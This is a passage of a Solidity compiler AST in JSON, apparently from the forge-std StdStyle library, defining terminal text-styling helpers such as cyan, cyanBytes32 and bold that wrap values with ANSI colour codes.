memory"}},"functionReturnParameters":9969,"id":9976,"nodeType":"Return","src":"5181:33:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"magentaBytes32","nameLocation":"5104:14:9","parameters":{"id":9966,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9965,"mutability":"mutable","name":"self","nameLocation":"5127:4:9","nodeType":"VariableDeclaration","scope":9978,"src":"5119:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9964,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5119:7:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"5118:14:9"},"returnParameters":{"id":9969,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9968,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9978,"src":"5156:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9967,"name":"string","nodeType":"ElementaryTypeName","src":"5156:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5155:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":9991,"nodeType":"FunctionDefinition","src":"5227:119:9","nodes":[],"body":{"id":9990,"nodeType":"Block","src":"5299:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"id":9986,"name":"CYAN","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9425,"src":"5328:4:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":9987,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9980,"src":"5334:4:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9985,"name":"styleConcat","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9463,"src":"5316:11:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) pure returns (string memory)"}},"id":9988,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5316:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9984,"id":9989,"nodeType":"Return","src":"5309:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"cyan","nameLocation":"5236:4:9","parameters":{"id":9981,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9980,"mutability":"mutable","name":"self","nameLocation":"5255:4:9","nodeType":"VariableDeclaration","scope":9991,"src":"5241:18:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9979,"name":"string","nodeType":"ElementaryTypeName","src":"5241:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5240:20:9"},"returnParameters":{"id":9984,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9983,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9991,"src":"5284:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9982,"name":"string","nodeType":"ElementaryTypeName","src":"5284:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5283:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10006,"nodeType":"FunctionDefinition","src":"5352:113:9","nodes":[],"body":{"id":10005,"nodeType":"Block","src":"5418:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10001,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9993,"src":"5452:4:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":9999,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"5440:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10000,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5443:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"5440:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":10002,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5440:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":9998,"name":"cyan","nodeType":"Identifier","overloadedDeclarations":[9991,10006,10021,10036,10051],"referencedDeclaration":9991,"src":"5435:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10003,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5435:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":9997,"id":10004,"nodeType":"Return","src":"5428:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"cyan","nameLocation":"5361:4:9","parameters":{"id":9994,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9993,"mutability":"mutable","name":"self","nameLocation":"5374:4:9","nodeType":"VariableDeclaration","scope":10006,"src":"5366:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9992,"name":"uint256","nodeType":"ElementaryTypeName","src":"5366:7:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"5365:14:9"},"returnParameters":{"id":9997,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9996,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10006,"src":"5403:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":9995,"name":"string","nodeType":"ElementaryTypeName","src":"5403:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5402:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10021,"nodeType":"FunctionDefinition","src":"5471:112:9","nodes":[],"body":{"id":10020,"nodeType":"Block","src":"5536:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10016,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10008,"src":"5570:4:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_int256","typeString":"int256"}],"expression":{"id":10014,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"5558:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10015,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5561:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13449,"src":"5558:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_int256_$returns$_t_string_memory_ptr_$","typeString":"function (int256) pure external returns (string memory)"}},"id":10017,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5558:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10013,"name":"cyan","nodeType":"Identifier","overloadedDeclarations":[9991,10006,10021,10036,10051],"referencedDeclaration":9991,"src":"5553:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10018,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5553:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10012,"id":10019,"nodeType":"Return","src":"5546:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"cyan","nameLocation":"5480:4:9","parameters":{"id":10009,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10008,"mutability":"mutable","name":"self","nameLocation":"5492:4:9","nodeType":"VariableDeclaration","scope":10021,"src":"5485:11:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":10007,"name":"int256","nodeType":"ElementaryTypeName","src":"5485:6:9","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"5484:13:9"},"returnParameters":{"id":10012,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10011,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10021,"src":"5521:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10010,"name":"string","nodeType":"ElementaryTypeName","src":"5521:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5520:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10036,"nodeType":"FunctionDefinition","src":"5589:113:9","nodes":[],"body":{"id":10035,"nodeType":"Block","src":"5655:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10031,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10023,"src":"5689:4:9","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":10029,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"5677:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10030,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5680:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13409,"src":"5677:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_address_$returns$_t_string_memory_ptr_$","typeString":"function (address) pure external returns (string memory)"}},"id":10032,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5677:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10028,"name":"cyan","nodeType":"Identifier","overloadedDeclarations":[9991,10006,10021,10036,10051],"referencedDeclaration":9991,"src":"5672:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10033,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5672:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10027,"id":10034,"nodeType":"Return","src":"5665:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"cyan","nameLocation":"5598:4:9","parameters":{"id":10024,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10023,"mutability":"mutable","name":"self","nameLocation":"5611:4:9","nodeType":"VariableDeclaration","scope":10036,"src":"5603:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":10022,"name":"address","nodeType":"ElementaryTypeName","src":"5603:7:9","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5602:14:9"},"returnParameters":{"id":10027,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10026,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10036,"src":"5640:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10025,"name":"string","nodeType":"ElementaryTypeName","src":"5640:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5639:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10051,"nodeType":"FunctionDefinition","src":"5708:110:9","nodes":[],"body":{"id":10050,"nodeType":"Block","src":"5771:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10046,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10038,"src":"5805:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":10044,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"5793:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10045,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5796:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13433,"src":"5793:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bool_$returns$_t_string_memory_ptr_$","typeString":"function (bool) pure external returns (string memory)"}},"id":10047,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5793:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10043,"name":"cyan","nodeType":"Identifier","overloadedDeclarations":[9991,10006,10021,10036,10051],"referencedDeclaration":9991,"src":"5788:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10048,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5788:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10042,"id":10049,"nodeType":"Return","src":"5781:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"cyan","nameLocation":"5717:4:9","parameters":{"id":10039,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10038,"mutability":"mutable","name":"self","nameLocation":"5727:4:9","nodeType":"VariableDeclaration","scope":10051,"src":"5722:9:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":10037,"name":"bool","nodeType":"ElementaryTypeName","src":"5722:4:9","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"5721:11:9"},"returnParameters":{"id":10042,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10041,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10051,"src":"5756:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10040,"name":"string","nodeType":"ElementaryTypeName","src":"5756:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5755:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10066,"nodeType":"FunctionDefinition","src":"5824:123:9","nodes":[],"body":{"id":10065,"nodeType":"Block","src":"5900:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10061,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10053,"src":"5934:4:9","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":10059,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"5922:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10060,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5925:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13417,"src":"5922:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (bytes memory) pure external returns (string memory)"}},"id":10062,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5922:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10058,"name":"cyan","nodeType":"Identifier","overloadedDeclarations":[9991,10006,10021,10036,10051],"referencedDeclaration":9991,"src":"5917:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10063,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5917:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10057,"id":10064,"nodeType":"Return","src":"5910:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"cyanBytes","nameLocation":"5833:9:9","parameters":{"id":10054,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10053,"mutability":"mutable","name":"self","nameLocation":"5856:4:9","nodeType":"VariableDeclaration","scope":10066,"src":"5843:17:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":10052,"name":"bytes","nodeType":"ElementaryTypeName","src":"5843:5:9","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"5842:19:9"},"returnParameters":{"id":10057,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10056,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10066,"src":"5885:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10055,"name":"string","nodeType":"ElementaryTypeName","src":"5885:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5884:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10081,"nodeType":"FunctionDefinition","src":"5953:120:9","nodes":[],"body":{"id":10080,"nodeType":"Block","src":"6026:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10076,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10068,"src":"6060:4:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":10074,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"6048:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10075,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6051:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13425,"src":"6048:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_bytes32_$returns$_t_string_memory_ptr_$","typeString":"function (bytes32) pure external returns (string memory)"}},"id":10077,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6048:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10073,"name":"cyan","nodeType":"Identifier","overloadedDeclarations":[9991,10006,10021,10036,10051],"referencedDeclaration":9991,"src":"6043:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10078,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6043:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10072,"id":10079,"nodeType":"Return","src":"6036:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"cyanBytes32","nameLocation":"5962:11:9","parameters":{"id":10069,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10068,"mutability":"mutable","name":"self","nameLocation":"5982:4:9","nodeType":"VariableDeclaration","scope":10081,"src":"5974:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":10067,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5974:7:9","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"5973:14:9"},"returnParameters":{"id":10072,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10071,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10081,"src":"6011:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10070,"name":"string","nodeType":"ElementaryTypeName","src":"6011:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6010:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10094,"nodeType":"FunctionDefinition","src":"6079:119:9","nodes":[],"body":{"id":10093,"nodeType":"Block","src":"6151:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"id":10089,"name":"BOLD","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9428,"src":"6180:4:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10090,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10083,"src":"6186:4:9","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10088,"name":"styleConcat","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9463,"src":"6168:11:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) pure returns (string memory)"}},"id":10091,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6168:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10087,"id":10092,"nodeType":"Return","src":"6161:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"bold","nameLocation":"6088:4:9","parameters":{"id":10084,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10083,"mutability":"mutable","name":"self","nameLocation":"6107:4:9","nodeType":"VariableDeclaration","scope":10094,"src":"6093:18:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10082,"name":"string","nodeType":"ElementaryTypeName","src":"6093:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6092:20:9"},"returnParameters":{"id":10087,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10086,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10094,"src":"6136:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10085,"name":"string","nodeType":"ElementaryTypeName","src":"6136:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6135:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10109,"nodeType":"FunctionDefinition","src":"6204:113:9","nodes":[],"body":{"id":10108,"nodeType":"Block","src":"6270:47:9","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":10104,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10096,"src":"6304:4:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":10102,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9407,"src":"6292:2:9","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10103,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6295:8:9","memberName":"toString","nodeType":"MemberAccess","referencedDeclaration":13441,"src":"6292:11:9","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_uint256_$returns$_t_string_memory_ptr_$","typeString":"function (uint256) pure external returns (string memory)"}},"id":10105,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6292:17:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":10101,"name":"bold","nodeType":"Identifier","overloadedDeclarations":[10094,10109,10124,10139,10154],"referencedDeclaration":10094,"src":"6287:4:9","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory) pure returns (string memory)"}},"id":10106,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6287:23:9","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10100,"id":10107,"nodeType":"Return","src":"6280:30:9"}]},"implemented":true,"kind":"function","modifiers":[],"name":"bold","nameLocation":"6213:4:9","parameters":{"id":10097,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10096,"mutability":"mutable","name":"self","nameLocation":"6226:4:9","nodeType":"VariableDeclaration","scope":10109,"src":"6218:12:9","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":10095,"name":"uint256","nodeType":"ElementaryTypeName","src":"6218:7:9","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"6217:14:9"},"returnParameters":{"id":10100,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10099,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10109,"src":"6255:13:9","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10098,"name":"string","nodeType":"ElementaryTypeName","src":"6255:6:9","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6254:15:9"},"scope":10597,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10124,"nodeType":"FunctionDefinition","src":"6323:112:9","nodes":[],"body":{"id":10123,"nodeType":"Block","src":"6388:47:9","nodes":[],"statements":[{